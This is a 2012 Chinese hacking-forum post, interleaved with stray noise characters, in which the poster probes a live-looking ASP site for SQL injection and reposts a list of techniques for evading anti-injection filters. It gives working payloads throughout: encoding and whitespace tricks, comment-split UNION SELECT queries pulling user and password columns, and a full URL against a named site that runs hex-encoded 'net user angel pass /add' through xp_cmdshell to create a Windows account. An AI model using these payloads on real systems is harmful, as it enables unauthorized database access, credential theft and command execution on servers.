找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2174|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
, H5 M: f- u/ z3 X" s7 O: U+ Z& mhttp://www.xxx.cn/Article.asp?ID=117 and 1=1' L& ~" n# l) L  T; e3 |3 Y
直接返回主页3 r4 d" w4 E+ Z/ B0 e
http://www.xxx.cn/Article.asp?ID=117 or 1=1. o; M# F' u8 q
直接返回主页
/ H3 g; c& h  v& J% Z8 }% I  e% whttp://www.xxx.cn/Article.asp?ID=117 or5 P% @! x; {( i; v  L
没有返回主页 没有过滤or
% k' G! f& a) Z. m; W6 e8 ~http://www.xxx.cn/Article.asp?ID=117 and
6 W+ U3 h# J/ |5 n& j直接返回主页 看来过滤了and
1 q: d( P7 `7 Q6 U; Khttp://www.xxx.cn/Article.asp?ID=117 or 19 r5 H3 U" X! V" K7 y+ s
没有返回主页 即没有过滤or 也没有过滤1
* s/ @4 s9 I  L0 Y8 [/ Fhttp://www.xxx.cn/Article.asp?ID=117 or 1=16 |2 ^5 h4 T' j0 ?
直接返回主页 很明显过滤了等号 / a! F) b" {& u  c
or的特性是与and相反的.
" p8 \. l5 X  a6 @. f& w- @or 1=1 爆错 或与原页面不同  D4 y9 u$ `4 i
or 1=2 原页面相同
0 q* Y1 q2 _0 x1 Z这样就是一个注入点3 t! ^  o. \8 i  j
但他过滤了=号 我就用><号代替=号吧!
% n9 v# C2 r4 H6 ~9 S1 ^3 J5 c! ?or 1<2 很明显是正确的,所以应该与原页面不同
* x9 @+ ~# @/ S# u5 V+ p$ j* K$ Qor 1>2 很明显是错误的,所以应该与原页面相同
* V, z. c! _! h然后看看有没有过滤其他的查询语句,比如select.
+ H9 O) J' E1 u( ghttp://www.xxx.cn/Article.asp?ID=117 select
( }0 o9 M" J6 d& d6 w8 s8 I* x直接返回主页
4 z' S3 b8 V8 J' c8 R- R5 C又迷茫了..6 w4 Y0 Z4 a* H
: T+ s- \' R0 T- r

! t* r) {( h/ x9 Xcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
1 A* I) D2 G8 c, \6 v5 Q) c这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
  O6 x) t) i$ o: x, ~6 i5 x) I* z7 z8 R================================================
3 {% o: }! F9 l/ I# I以下是转贴:4 p) d' W! W$ g9 m/ S6 f, E
3 T6 x% _8 t" f6 l6 Q9 L
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
0 t. g* x; G9 o, |经过我的收集,大部分的防注入程序都过滤了以下关键字:
9 s9 O& a. d: {+ Vand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = , k# k3 g/ k( d
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 7 B: |/ |) _( o
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 8 I# y, `4 w: o, U5 P# @
1、运用编码技术绕过 2 e3 {% [4 b0 y9 q0 E5 J5 Z
如URLEncode编码,ASCII编码绕过。例如or 1=1即
2 N. V5 f9 X! x7 N5 y* e+ S& n& W! _%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 . S" N6 ^* s4 B+ I' L9 n% {
1 ^4 x. Q- D( K' O
2、通过空格绕过 , H. C3 d$ o+ g3 w, R1 b
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ( l9 H) h2 \4 d' U0 K2 o
or’ swords’ =‘swords’
6 ]( O6 S) @5 v,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
" s6 [6 j* M$ N3、运用字符串判断代替 : b# s  @: W6 r, _5 L; h$ {
用经典的or 1=1判断绕过,如
$ f6 ]0 {0 g4 b- ]& lor ’swords’ =’swords’
& Q  u# y' F7 y; q! X5 r% y,这个方法就是网上在讨论的。
' z' ]6 N; G# D) T4、通过类型转换修饰符N绕过 9 F( r+ B- B! F" r+ i( k! I/ i
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ; q4 ^9 I& U- |6 }
5、通过+号拆解字符串绕过 6 a9 ]9 n! a; V# ~, _% e
效果值得考证,但毕竟是一种方法。如
# j- f/ K/ B- Uor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) : }2 @" I* k' h; w5 v% u
7 E4 X0 W9 f  L& k
6、通过LIKE绕过
8 Y' k% Q' J, J  {# R" F. C0 n& {4 s以前怎么就没想到呢?如or
# m& z' u. C# n! z’swords’ LIKE ’sw’
$ s' }2 k6 O6 [7 f!!!显然可以很轻松的绕过
" J/ r, I" a1 x8 O" f/ p, n) l“=”“>”
" O& B5 z3 d! a$ W6 d' {; x的限制……
' U+ Z/ L( ?, x1 H5 r( D/ d1 _7、通过IN绕过
3 ?. [7 f4 T0 _% _8 k& T与上面的LIKE的思路差不多,如 9 q3 }& j5 P: q( ?2 f0 i1 I, N
or ’swords’ IN (’swords’) : q4 l- O* _) S( R
& S' e) `/ W6 n0 M# c
8、通过BETWEEN绕过
4 J& l. _5 z4 D- L9 e6 v) T! K
( c, S' I0 i% o$ z- I7 ^; {' O8 uor ’swords’ BETWEEN ’rw’ AND ’tw’ ' ?. l  z1 x( K5 v

4 Q9 M4 `& V4 d& N9、通过>或者<绕过 ; Z- P) q$ ~* r* @& c; }1 E' M! O# U
or ’swords’ > ’sw’ ) F* e3 H! V8 x8 Y$ y1 o
or ’swords’ < ’tw’ / W5 j6 _' d! d+ c7 E
or 1<3 * r% y$ J/ U7 n% r7 T! {$ }, V0 ]. C6 v
……
2 z6 X' }; e  h$ h' b& y10、运用注释语句绕过
" l6 n' m4 u: o/ I7 n' A) q( F用/**/代替空格,如: $ U+ g- ^5 A8 `" V. ]* T1 b, t
UNION /**/ Select /**/user,pwd,from tbluser 2 q1 H' x+ P5 {; F
" g( Q6 _3 B* ]* V' a% g
用/**/分割敏感词,如:
. X; y: _0 x+ e/ X- T4 k6 zU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser " j4 E8 n. C* u4 s

: ?% w$ J, O6 R11、用HEX绕过,一般的IDS都无法检测出来
4 j9 }* Q  c( Y* F6 L0x730079007300610064006D0069006E00 =hex(sysadmin) / \) [1 t( e. Z* v% |& [, U+ @
0x640062005F006F0077006E0065007200 =hex(db_owner) 1 \$ ]) o! L# m) C) S# H# F& ]
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 7 G* O+ ~  y4 o# o0 m2 A. R+ A- N3 L
  declare @a sysname
1 G5 r; o- f& h; S  select @a= / d& }9 s* W) F+ @+ m8 s
  exec master.dbo.xp_cmdshell @a
5 x! k4 J) u/ p1 E% _" ^效果
, y% c4 w' ~& ~$ ~; M+ phttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- - B: M' R0 g' T% ~, T1 N
" B8 y% A* }$ K9 b" h
其中的
; m/ V$ x) I8 v9 [6 }0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
: |& e/ Z- z4 s0 u就是 * P, y$ x" K' B# J, w7 L; O4 \! V
“net user angel pass /add”
' N! {2 r3 a/ S1 ]. L0 g2 i; {/ V& v$ w/ U( h1 l. ]  Y! Q' j# j
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
1 `1 Q) d# p+ D引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
# V; B4 n4 W- F- t8 `) H: t另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似5 T; C6 U' T( K6 \0 a: u" @
Copy code7 B+ Z$ d+ l& E: y% p, W5 A
select * from table exec xp_cmdshell'xxxxxxxxxx'# j; v( E5 \! _- k3 b9 ~& i
6 r+ B4 C" o6 X; A4 W% G* Z* q. U

6 {) O/ o1 k: l3 u1 b1 I0 }select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
4 X6 \1 B* A0 ^2 l8 j3 M! p9 `0 w; F  W! h( V/ W8 ]6 Y6 ]1 c
# {% e) c/ ]: d, L* C( G; ^" Z
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
& x/ Z1 Y  e7 J
$ y" A" y+ u0 U4 i2 P6 n) b4 |- {9 P! k
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
  p% {6 }' T6 I0 b- N2 a9 e5 t0 d  m6 g
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?/ j/ D! l2 i8 a; {& Q' ]& q  O9 A
" e) x9 F( f; ?, I9 N; b( Z1 b
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
& Q" T8 T( C2 `9 N4 @可能大家早就知道了,不管怎么说,发在这里吧!
" Z! |& x5 D, P( W* |: A- _5 m4 z
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
! B* }- W! j) K) T2 g! N
4 v2 J% S8 r( r. p" @6 h% _9 V/ ]) C8 j' u8 \3 a1 N
8 ~& V. |0 p+ W
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
: W" }) W$ R% s; m) V4 w) o比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
8 V3 N' G8 ]+ ~# J) ]3 L3 l! \, F/ J( S5 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表